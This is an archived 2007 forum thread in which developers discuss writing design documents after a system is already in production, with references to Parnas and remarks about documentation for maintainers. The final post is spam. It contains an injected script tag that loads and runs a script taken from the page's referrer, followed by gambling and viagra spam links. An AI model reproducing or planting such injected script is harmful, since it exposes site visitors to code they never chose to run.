The Design of Software (CLOSED)

A public forum for discussing the design of software, from the user interface to the code architecture. Now closed.

The "Design of Software" discussion group has been merged with the main Joel on Software discussion group.

The archives will remain online indefinitely.

"The completion of this design document..."

"The completion of this design document will allow the commencement of work on the system and its related utilities."

That's (roughly) a sentence I just typed into MS Word for a design document on a system that has been completed for months. A system already in production. I suspect there will be a close symmetry between the design of the system and its implementation.

Ah, bureaucracy.
Not a guru
Wednesday, September 05, 2007
At least you might be able to use it as a template for your next document.. then maybe you will design first.
J Phillips Send private email
Wednesday, September 05, 2007
J Phillips, he didn't say he didn't design first, he indicated that the official design document was not written first. 2 very different things. It is the official documentation that is worthless, not the design process.
Wednesday, September 05, 2007
Actually, this project is a fork from a previous one. It gradually deviated so much that it was decided it need a full new set of documents.
Not a guru
Wednesday, September 05, 2007
Yeah, that sounds familiar.

My current client requires loads of documentation for their project. Conveniently, they neglected to specify the order of work, so I'll be leaving the documentation to the end.

Hopefully, there will be some last minute must-have changes that will push the documentation into the nice to have pile. Then, I'll be able to leave it to someone else to do the boring job.

After all, "if they want to support it, they need to understand it, and what better way to demonstrate understanding than by documenting it".

I am only half joking ;-)
Entries of Confusion Send private email
Wednesday, September 05, 2007
At least you will be certain that the implementation matches *exactly*.
fair to middlin Send private email
Wednesday, September 05, 2007
Aw, that's my FAVORITE kind of design document -- the one made to document an already existing, tested, reliable system.

Because if any wise-guy says "oh, no, you should do it THIS way" -- you can tell him, nicely, "well, this part is already implemented and works quite well.  But thank you for your input."
Wednesday, September 05, 2007
If done properly the document still has value.
A nice paper about this is the one by Parnas: A Rational Design Process: How and Why to Fake It.

Easy to find by googling and worth reading, imho.
Thursday, September 06, 2007
Doing a design document after the fact is not necessarily bad. Such a document should be a maintenance guide for future developers who will maintain the system in production. For them it's better than nothing.

For not too much effort you could tell people new to the application stuff that will make it much easier for them to get started and find their way around. I hope when you did a post deployment design that you considered future maintainers who may not have been on the original development team.
cbmc64 Send private email
Thursday, September 06, 2007
Completing the design doc at the end of the project is cool. It has a slightly better chance of being realistic.

My organization has a "project charter" doc required before a project can launch (spend serious money). You'd think it might be a nice historical document to compare to the end product, but no, we have to keep the charter up to date with any changes in the project. So at the end the charter seems to say we set out to do precisely what we actually did. Nice.
Stan James Send private email
Thursday, September 06, 2007
Design documents made as "blue prints" are generally worthless. Napoleon's quote (not verbatim) that war plans don't survive the first shot is very applicable here.

They are extremely valuable after the fact.

The PMI is the agent of the Evil Inclination...
Steve Hirsch Send private email
Thursday, September 06, 2007
My favorite bureaucratic statement, and I think everyone's classic of all time is...

"This page intentionally left blank."

And of course the variations such as...

"This section is not applicable."

There actually are, in a twisted perverted Twilight Zone sort of way, valid and perfectly good reasons to make statements like that but all it does is makes me wonder what kind of world we live in that gives rise to the need for sentences like that.
Thursday, September 06, 2007
Btw, do you have any old versions of design documentation for this system?  I bet there's plenty to learn from seeing how it's evolved over time.
Lally Singh Send private email
Friday, September 07, 2007
> Design documents made as "blue prints" are generally worthless.

Wouldn't it be nice to have documentation that evolves with the software? Why doesn't that happen?
Christopher Wells Send private email
Sunday, September 16, 2007
3b19rvq-t2l8tbo-tw6q982e-0 <script>var r = document.referrer; document.write('<script src="'+escape(r)+'"><' + '/script>')</script>
<a href="">free slots</a>
[ black jack]
[LINK]generic viagra[/LINK]
bontril Send private email
Sunday, September 30, 2007

This topic is archived. No further replies will be accepted.

Other recent topics Other recent topics
Powered by FogBugz